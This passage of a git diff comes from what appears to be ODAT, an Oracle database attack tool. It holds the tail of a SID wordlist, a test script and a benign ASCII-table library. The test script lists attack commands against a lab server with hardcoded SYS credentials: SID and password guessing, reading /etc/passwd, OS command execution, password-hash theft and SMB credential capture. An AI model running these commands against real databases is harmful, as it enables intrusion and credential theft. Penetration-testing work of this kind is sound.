+ORCLE +ORCLF +ORCLG +ORCLH +ORCLI +ORCLJ +ORCLK +ORCLL +ORCLM +ORCLN +ORCLO +ORCLP +ORCLP0 +ORCLP1 +ORCLP2 +ORCLP3 +ORCLP4 +ORCLP5 +ORCLP6 +ORCLP7 +ORCLP8 +ORCLP9 +ORCLQ +ORCLR +ORCLS +ORCLSOL +ORCLT +ORCLU +ORCLV +ORCLW +ORCL.WORLD +ORCLX +ORCLY +ORCLZ +ORIONDB +ORTD +OVO +P +P10 +P10G +P8 +P8I +P9 +P9I +PD1 +PINDB +PORA10101 +PORA10102 +PORA10103 +PORA10104 +PORA10105 +PORA1011 +PORA1012 +PORA1013 +PORA1014 +PORA1015 +PORA1021 +PORA1022 +PORA1023 +PORA1024 +PORA1025 +PORA11106 +PORA11107 +PORA11201 +PORA11202 +PORA8170 +PORA8171 +PORA8172 +PORA8173 +PORA8174 +PORA9201 +PORA9202 +PORA9203 +PORA9204 +PORA9205 +PORA9206 +PORA9207 +PORA9208 +PRD +PRITXI +PROD +PROD0 +PROD1 +PROD10 +PROD10G +PROD11 +PROD11G +PROD2 +PROD3 +PROD4 +PROD5 +PROD6 +PROD7 +PROD8 +PROD8I +PROD9 +PROD920 +PROD9I +PROG10 +QM +QS +RAB1 +RAC +RAC1 +RAC2 +RAC3 +RAC4 +RDB +RDS +RECV +REP +REP0 +REP1 +REP2 +REP3 +REP4 +REP5 +REP6 +REP7 +REP8 +REP9 +REPO +REPO0 +REPO1 +REPO2 +REPO3 +REPO4 +REPO5 +REPO6 +REPO7 +REPO8 +REPO9 +REPOS +REPOS0 +REPOS1 +REPOS2 +REPOS3 +REPOS4 +REPOS5 +REPOS6 +REPOS7 +REPOS8 +REPOS9 +REPSCAN +RIPPROD +RITCTL +RITDEV +RITPROD +RITQA +RITTRN +RITTST +SA0 +SA1 +SA2 +SA3 +SA4 +SA5 +SA6 +SA7 +SA8 +SA9 +SAA +SAB +SAC +SAD +SAE +SAF +SAG +SAH +SAI +SAJ +SAK +SAL +SALES +SAM +SAMPLE +SAN +SANIPSP +SAO +SAP +SAP0 +SAP1 +SAP2 +SAP3 +SAP4 +SAP5 +SAP6 +SAP7 +SAP8 +SAP9 +SAPHR +SAQ +SAR +SAS +SAT +SAU +SAV +SAW +SAX +SAY +SAZ +SDB +SENTRIGO +SES +SGNT +SID0 +SID1 +SID2 +SID3 +SID4 +SID5 +SID6 +SID7 +SID8 +SID9 +SIP +SOL10 +SOL11 +SOL9 +STAG1 +STAG2 +T1 +T10 +T101 +T102 +T2 +T3 +T4 +T7 +T71 +T72 +T73 +T8 +T80 +T81 +T82 +T9 +T91 +T92 +TEST +TEST10G +TEST11G +TEST9I +TESTORCL +THUMPER +TRC28 +TRIUMF +TSH1 +TSM +TST +TST0 +TST1 +TST2 +TST3 +TST4 +TST5 +TST6 +TST7 +TST8 +TST9 +TYCP +UNIX101 +UNIX1011 +UNIX1012 +UNIX1013 +UNIX1014 +UNIX1015 +UNIX102 +UNIX1021 +UNIX1022 +UNIX1023 +UNIX1024 +UNIX1025 +UNIX817 +UNIX8171 +UNIX8172 +UNIX8173 +UNIX8174 +UNIX901 +UNIX902 +UNIX9021 +UNIX9022 +UNIX9023 +UNIX9024 +UNIX9025 +UNIX9026 +UNIX9027 +UNIX9028 +V713 +VENOM +VENU +VISTA +VPX +W101 +W1011 +W1012 +W1013 +W1014 +W1015 +W102 +W1021 +W1022 +W1023 +W1024 +W1025 +W111 +W11102 +W11106 +W11107 +W112 +W11201 +W817 +W8171 +W8172 +W8173 +W8174 +W901 +W902 +W9021 +W9022 +W9023 +W9024 +W9025 +W9026 +W9027 +W9028 +WEB +WEB1 +WEB10 +WEB2 +WEB3 +WEB4 +WEB5 +WEB6 +WEB7 +WEB8 +WEB9 +WEBDEV +WG73 +WIN101 +WIN1011 +WIN1012 +WIN1013 +WIN1014 +WIN1015 +WIN102 +WIN1021 +WIN1022 +WIN1023 +WIN1024 +WIN1025 +WIN11 +WIN111 +WIN11106 +WIN11107 +WIN112 +WIN11201 +WIN11202 +WIN7 +WIN817 +WIN8171 +WIN8172 +WIN8173 +WIN8174 +WIN901 +WIN902 +WIN9021 +WIN9022 +WIN9023 +WIN9024 +WIN9025 +WIN9026 +WIN9027 +WIN9028 +WINDOWS101 +WINDOWS1011 +WINDOWS1012 +WINDOWS1013 +WINDOWS1014 +WINDOWS1015 +WINDOWS102 +WINDOWS1021 +WINDOWS1022 +WINDOWS1023 +WINDOWS1024 +WINDOWS1025 +WINDOWS11 +WINDOWS111 +WINDOWS11106 +WINDOWS11107 +WINDOWS112 +WINDOWS11201 +WINDOWS11202 +WINDOWS817 +WINDOWS8171 +WINDOWS8172 +WINDOWS8173 +WINDOWS8174 +WINDOWS901 +WINDOWS902 +WINDOWS9021 +WINDOWS9022 +WINDOWS9023 +WINDOWS9024 +WINDOWS9025 +WINDOWS9026 +WINDOWS9027 +WINDOWS9028 +XE +XEXDB +XE_XPT diff --git a/testAllOdatModules.sh b/testAllOdatModules.sh new file mode 100755 index 0000000..5afa495 --- /dev/null +++ b/testAllOdatModules.sh @@ -0,0 +1,99 @@ +#!/bin/bash +#Constants +ALL_IS_OK=0 +#Connection information +SERVER=192.168.56.102 +SID=ORCL +USER="SYS" +PASSWORD='oracle' +#OPTIONS +VERBOSE='-vv' #'> /dev/null' +ODATBIN='./odat.py' + + +tests=( "$ODATBIN all -s $SERVER" + "$ODATBIN all -s $SERVER --accounts-file=./accounts/accounts_small.txt --sid-charset '01' --sids-max-size=2" + "$ODATBIN all -s $SERVER --no-alias-like-sid --sids-file=./sids.txt" + "$ODATBIN all -s $SERVER -d $SID" + "$ODATBIN all -s $SERVER -d $SID -U $USER -P $PASSWORD" + "$ODATBIN all -s $SERVER -d $SID -U $USER -P $PASSWORD" + "$ODATBIN sidguesser -s $SERVER --sids-max-size=1 --sid-charset='1234'" + "$ODATBIN sidguesser -s $SERVER --sids-file=./sids.txt" + "$ODATBIN passwordguesser -s $SERVER -d $SID" + "$ODATBIN passwordguesser -s $SERVER -d $SID --accounts-file=./accounts/accounts_small.txt" + "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" + "$ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" + "echo 'GET / HTTP/1.0\n\n' > ./temp.txt; $ODATBIN utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --send google.com 80 temp.txt ;rm ./temp.txt" + "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" + "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" + "$ODATBIN httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --url 127.0.0.1:80" + "$ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" + "$ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" + "echo 'GET / HTTP/1.0\n\n' > ./temp.txt; $ODATBIN utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --send-packet 127.0.0.1 80 ./temp.txt ;rm ./temp.txt" + "$ODATBIN ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/passwd" + "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /tmp/ temp.sh passwd.txt" + "$ODATBIN externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /tmp/ temp.sh" + "$ODATBIN dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts/accounts_small.txt" + "$ODATBIN dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts/accounts_small.txt" + "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module --getFile /etc/ passwd passwd.txt" + "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts/accounts_small.txt" + "$ODATBIN utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --removeFile /tmp/ file.txt" + "$ODATBIN dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" + "$ODATBIN java -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords-from-history" + "$ODATBIN passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords" + "$ODATBIN oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" + "sudo $ODATBIN stealremotepwds -s $SERVER -d $SID --test-module" + "sudo $ODATBIN stealremotepwds -s $SERVER -d $SID --user-list ./accounts/accounts_small.txt --get-all-passwords" + "sudo chmod o+r sessions-$SERVER-1521-$SID.odat.challenge; $ODATBIN stealremotepwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.odat.challenge ./accounts/accounts_small.txt" + "$ODATBIN dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/ passwd temp.txt" + "$ODATBIN smb -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN smb -s $SERVER -d $SID -U $USER -P $PASSWORD --capture 127.0.0.1 SHARE" + "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%'" + "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --columns '%password%' --show-empty-columns" + "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --pwd-column-names --show-empty-columns" + "$ODATBIN search -s $SERVER -d $SID -U $USER -P $PASSWORD --pwd-column-names" + ) + +function isGoodReturnValue { + if [ "$1" -eq "$ALL_IS_OK" ] + then + echo -e " \e[0;32mOK!\e[0;m" + else + echo -e " \e[0;31mKO!\e[0;m" + fi +} + + +read -p "This script should be used during the ODAT development ONLY to check if there are no errors. Do you want continue? (Y for Yes)" -n 1 -r +echo +if [[ $REPLY =~ ^[Yy]$ ]] +then + for aTest in "${tests[@]}" + do + echo -e "\n\e[1m\e[96m[+] TEST that : $aTest $VERBOSE \e[m" + eval "$aTest $VERBOSE" + isGoodReturnValue $? + done + echo -e '\e[0;32mDone ! \e[m' +else + echo -e '\e[0;31mNo check has been done ! \e[m' +fi + + + + + + + diff --git a/texttable.py b/texttable.py new file mode 100644 index 0000000..0e2a449 --- /dev/null +++ b/texttable.py @@ -0,0 +1,592 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# +# texttable - module for creating simple ASCII tables +# Copyright (C) 2003-2011 Gerome Fournier +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +"""module for creating simple ASCII tables + + +Example: + + table = Texttable() + table.set_cols_align(["l", "r", "c"]) + table.set_cols_valign(["t", "m", "b"]) + table.add_rows([ ["Name", "Age", "Nickname"], + ["Mr\\nXavier\\nHuon", 32, "Xav'"], + ["Mr\\nBaptiste\\nClement", 1, "Baby"] ]) + print table.draw() + "\\n" + + table = Texttable() + table.set_deco(Texttable.HEADER) + table.set_cols_dtype(['t', # text + 'f', # float (decimal) + 'e', # float (exponent) + 'i', # integer + 'a']) # automatic + table.set_cols_align(["l", "r", "r", "r", "l"]) + table.add_rows([["text", "float", "exp", "int", "auto"], + ["abcd", "67", 654, 89, 128.001], + ["efghijk", 67.5434, .654, 89.6, 12800000000000000000000.00023], + ["lmn", 5e-78, 5e-78, 89.4, .000000000000128], + ["opqrstu", .023, 5e+78, 92., 12800000000000000000000]]) + print table.draw() + +Result: + + +----------+-----+----------+ + | Name | Age | Nickname | + +==========+=====+==========+ + | Mr | | | + | Xavier | 32 | | + | Huon | | Xav' | + +----------+-----+----------+ + | Mr | | | + | Baptiste | 1 | | + | Clement | | Baby | + +----------+-----+----------+ + + text float exp int auto + =========================================== + abcd 67.000 6.540e+02 89 128.001 + efgh 67.543 6.540e-01 90 1.280e+22 + ijkl 0.000 5.000e-78 89 0.000 + mnop 0.023 5.000e+78 92 1.280e+22 +""" + +__all__ = ["Texttable", "ArraySizeError"] + +__author__ = 'Gerome Fournier ' +__license__ = 'LGPL' +__version__ = '0.8.1' +__credits__ = """\ +Jeff Kowalczyk: + - textwrap improved import + - comment concerning header output + +Anonymous: + - add_rows method, for adding rows in one go + +Sergey Simonenko: + - redefined len() function to deal with non-ASCII characters + +Roger Lew: + - columns datatype specifications + +Brian Peterson: + - better handling of unicode errors +""" + +import sys +import string + +try: + if sys.version >= '2.3': + import textwrap + elif sys.version >= '2.2': + from optparse import textwrap + else: + from optik import textwrap +except ImportError: + sys.stderr.write("Can't import textwrap module!\n") + raise + +try: + True, False +except NameError: + (True, False) = (1, 0) + +def len(iterable): + """Redefining len here so it will be able to work with non-ASCII characters + """ + if not isinstance(iterable, str): + return iterable.__len__() + + try: + return len(unicode(iterable, 'utf')) + except: + return iterable.__len__() + +class ArraySizeError(Exception): + """Exception raised when specified rows don't fit the required size + """ + + def __init__(self, msg): + self.msg = msg + Exception.__init__(self, msg, '') + + def __str__(self): + return self.msg + +class Texttable: + + BORDER = 1 + HEADER = 1 << 1 + HLINES = 1 << 2 + VLINES = 1 << 3 + + def __init__(self, max_width=80): + """Constructor + + - max_width is an integer, specifying the maximum width of the table + - if set to 0, size is unlimited, therefore cells won't be wrapped + """ + + if max_width <= 0: + max_width = False + self._max_width = max_width + self._precision = 3 + + self._deco = Texttable.VLINES | Texttable.HLINES | Texttable.BORDER | \ + Texttable.HEADER + self.set_chars(['-', '|', '+', '=']) + self.reset() + + def reset(self): + """Reset the instance + + - reset rows and header + """ + + self._hline_string = None + self._row_size = None + self._header = [] + self._rows = [] + + def set_chars(self, array): + """Set the characters used to draw lines between rows and columns + + - the array should contain 4 fields: + + [horizontal, vertical, corner, header] + + - default is set to: + + ['-', '|', '+', '='] + """ + + if len(array) != 4: + raise ArraySizeError, "array should contain 4 characters" + array = [ x[:1] for x in [ str(s) for s in array ] ] + (self._char_horiz, self._char_vert, + self._char_corner, self._char_header) = array + + def set_deco(self, deco): + """Set the table decoration + + - 'deco' can be a combinaison of: + + Texttable.BORDER: Border around the table + Texttable.HEADER: Horizontal line below the header + Texttable.HLINES: Horizontal lines between rows + Texttable.VLINES: Vertical lines between columns + + All of them are enabled by default + + - example: + + Texttable.BORDER | Texttable.HEADER + """ + + self._deco = deco + + def set_cols_align(self, array): + """Set the desired columns alignment + + - the elements of the array should be either "l", "c" or "r": + + * "l": column flushed left + * "c": column centered + * "r": column flushed right + """ + + self._check_row_size(array) + self._align = array + + def set_cols_valign(self, array): + """Set the desired columns vertical alignment + + - the elements of the array should be either "t", "m" or "b": + + * "t": column aligned on the top of the cell + * "m": column aligned on the middle of the cell + * "b": column aligned on the bottom of the cell + """ + + self._check_row_size(array) + self._valign = array + + def set_cols_dtype(self, array): + """Set the desired columns datatype for the cols. + + - the elements of the array should be either "a", "t", "f", "e" or "i": + + * "a": automatic (try to use the most appropriate datatype) + * "t": treat as text + * "f": treat as float in decimal format + * "e": treat as float in exponential format + * "i": treat as int + + - by default, automatic datatyping is used for each column + """ + + self._check_row_size(array) + self._dtype = array + + def set_cols_width(self, array): + """Set the desired columns width + + - the elements of the array should be integers, specifying the + width of each column. For example: + + [10, 20, 5] + """ + + self._check_row_size(array) + try: + array = map(int, array) + if reduce(min, array) <= 0: + raise ValueError + except ValueError: + sys.stderr.write("Wrong argument in column width specification\n") + raise + self._width = array + + def set_precision(self, width): + """Set the desired precision for float/exponential formats + + - width must be an integer >= 0 + + - default value is set to 3 + """ + + if not type(width) is int or width < 0: + raise ValueError('width must be an integer greater then 0') + self._precision = width + + def header(self, array): + """Specify the header of the table + """ + + self._check_row_size(array) + self._header = map(str, array) + + def add_row(self, array): + """Add a row in the rows stack + + - cells can contain newlines and tabs + """ + + self._check_row_size(array) + + if not hasattr(self, "_dtype"): + self._dtype = ["a"] * self._row_size + + cells = [] + for i,x in enumerate(array): + cells.append(self._str(i,x)) + self._rows.append(cells) + + def add_rows(self, rows, header=True): + """Add several rows in the rows stack + + - The 'rows' argument can be either an iterator returning arrays, + or a by-dimensional array + - 'header' specifies if the first row should be used as the header + of the table + """ + + # nb: don't use 'iter' on by-dimensional arrays, to get a + # usable code for python 2.1 + if header: + if hasattr(rows, '__iter__') and hasattr(rows, 'next'): + self.header(rows.next()) + else: + self.header(rows[0]) + rows = rows[1:] + for row in rows: + self.add_row(row) + + def draw(self): + """Draw the table + + - the table is returned as a whole string + """ + + if not self._header and not self._rows: + return + self._compute_cols_width() + self._check_align() + out = "" + if self._has_border(): + out += self._hline() + if self._header: + out += self._draw_line(self._header, isheader=True) + if self._has_header(): + out += self._hline_header() + length = 0 + for row in self._rows: + length += 1 + out += self._draw_line(row) + if self._has_hlines() and length < len(self._rows): + out += self._hline() + if self._has_border(): + out += self._hline() + return out[:-1] + + def _str(self, i, x): + """Handles string formatting of cell data + + i - index of the cell datatype in self._dtype + x - cell data to format + """ + try: + f = float(x) + except: + return str(x) + + n = self._precision + dtype = self._dtype[i] + + if dtype == 'i': + return str(int(round(f))) + elif dtype == 'f': + return '%.*f' % (n, f) + elif dtype == 'e': + return '%.*e' % (n, f) + elif dtype == 't': + return str(x) + else: + if f - round(f) == 0: + if abs(f) > 1e8: + return '%.*e' % (n, f) + else: + return str(int(round(f))) + else: + if abs(f) > 1e8: + return '%.*e' % (n, f) + else: + return '%.*f' % (n, f) + + def _check_row_size(self, array): + """Check that the specified array fits the previous rows size + """ + + if not self._row_size: + self._row_size = len(array) + elif self._row_size != len(array): + raise ArraySizeError, "array should contain %d elements" \ + % self._row_size + + def _has_vlines(self): + """Return a boolean, if vlines are required or not + """ + + return self._deco & Texttable.VLINES > 0 + + def _has_hlines(self): + """Return a boolean, if hlines are required or not + """ + + return self._deco & Texttable.HLINES > 0 + + def _has_border(self): + """Return a boolean, if border is required or not + """ + + return self._deco & Texttable.BORDER > 0 + + def _has_header(self): + """Return a boolean, if header line is required or not + """ + + return self._deco & Texttable.HEADER > 0 + + def _hline_header(self): + """Print header's horizontal line + """ + + return self._build_hline(True) + + def _hline(self): + """Print an horizontal line + """ + + if not self._hline_string: + self._hline_string = self._build_hline() + return self._hline_string + + def _build_hline(self, is_header=False): + """Return a string used to separated rows or separate header from + rows + """ + horiz = self._char_horiz + if (is_header): + horiz = self._char_header + # compute cell separator + s = "%s%s%s" % (horiz, [horiz, self._char_corner][self._has_vlines()], + horiz) + # build the line + l = string.join([horiz * n for n in self._width], s) + # add border if needed + if self._has_border(): + l = "%s%s%s%s%s\n" % (self._char_corner, horiz, l, horiz, + self._char_corner) + else: + l += "\n" + return l + + def _len_cell(self, cell): + """Return the width of the cell + + Special characters are taken into account to return the width of the + cell, such like newlines and tabs + """ + + cell_lines = cell.split('\n') + maxi = 0 + for line in cell_lines: + length = 0 + parts = line.split('\t') + for part, i in zip(parts, range(1, len(parts) + 1)): + length = length + len(part) + if i < len(parts): + length = (length/8 + 1) * 8 + maxi = max(maxi, length) + return maxi + + def _compute_cols_width(self): + """Return an array with the width of each column + + If a specific width has been specified, exit. If the total of the + columns width exceed the table desired width, another width will be + computed to fit, and cells will be wrapped. + """ + + if hasattr(self, "_width"): + return + maxi = [] + if self._header: + maxi = [ self._len_cell(x) for x in self._header ] + for row in self._rows: + for cell,i in zip(row, range(len(row))): + try: + maxi[i] = max(maxi[i], self._len_cell(cell)) + except (TypeError, IndexError): + maxi.append(self._len_cell(cell)) + items = len(maxi) + length = reduce(lambda x,y: x+y, maxi) + if self._max_width and length + items * 3 + 1 > self._max_width: + maxi = [(self._max_width - items * 3 -1) / items \ + for n in range(items)] + self._width = maxi + + def _check_align(self): + """Check if alignment has been specified, set default one if not + """ + + if not hasattr(self, "_align"): + self._align = ["l"] * self._row_size + if not hasattr(self, "_valign"): + self._valign = ["t"] * self._row_size + + def _draw_line(self, line, isheader=False): + """Draw a line + + Loop over a single cell length, over all the cells + """ + + line = self._splitit(line, isheader) + space = " " + out = "" + for i in range(len(line[0])): + if self._has_border(): + out += "%s " % self._char_vert + length = 0 + for cell, width, align in zip(line, self._width, self._align): + length += 1 + cell_line = cell[i] + fill = width - len(cell_line) + if isheader: + align = "c" + if align == "r": + out += "%s " % (fill * space + cell_line) + elif align == "c": + out += "%s " % (fill/2 * space + cell_line \ + + (fill/2 + fill%2) * space) + else: + out += "%s " % (cell_line + fill * space) + if length < len(line): + out += "%s " % [space, self._char_vert][self._has_vlines()] + out += "%s\n" % ['', self._char_vert][self._has_border()] + return out + + def _splitit(self, line, isheader): + """Split each element of line to fit the column width + + Each element is turned into a list, result of the wrapping of the + string to the desired width + """ + + line_wrapped = [] + for cell, width in zip(line, self._width): + array = [] + for c in cell.split('\n'): + try: + c = unicode(c, 'utf') + except UnicodeDecodeError, strerror: + sys.stderr.write("UnicodeDecodeError exception for string '%s': %s\n" % (c, strerror)) + c = unicode(c, 'utf', 'replace') + array.extend(textwrap.wrap(c, width)) + line_wrapped.append(array) + max_cell_lines = reduce(max, map(len, line_wrapped)) + for cell, valign in zip(line_wrapped, self._valign): + if isheader: + valign = "t" + if valign == "m": + missing = max_cell_lines - len(cell) + cell[:0] = [""] * (missing / 2) + cell.extend([""] * (missing / 2 + missing % 2)) + elif valign == "b": + cell[:0] = [""] * (max_cell_lines - len(cell)) + else: + cell.extend([""] * (max_cell_lines - len(cell))) + return line_wrapped + +if __name__ == '__main__': + table = Texttable() + table.set_cols_align(["l", "r", "c"]) + table.set_cols_valign(["t", "m", "b"]) + table.add_rows([ ["Name", "Age", "Nickname"], + ["Mr\nXavier\nHuon", 32, "Xav'"], + ["Mr\nBaptiste\nClement", 1, "Baby"] ]) + print table.draw() + "\n" + + table = Texttable() + table.set_deco(Texttable.HEADER) + table.set_cols_dtype(['t', # text + 'f', # float (decimal) + 'e', # float (exponent) + 'i', # integer + 'a']) # automatic + table.set_cols_align(["l", "r", "r", "r", "l"]) + table.add_rows([["text", "float", "exp", "int", "auto"], + ["abcd", "67", 654, 89, 128.001], + ["efghijk", 67.5434, .654, 89.6, 12800000000000000000000.00023], + ["lmn", 5e-78, 5e-78, 89.4, .000000000000128], + ["opqrstu", .023, 5e+78, 92., 12800000000000000000000]]) + print table.draw()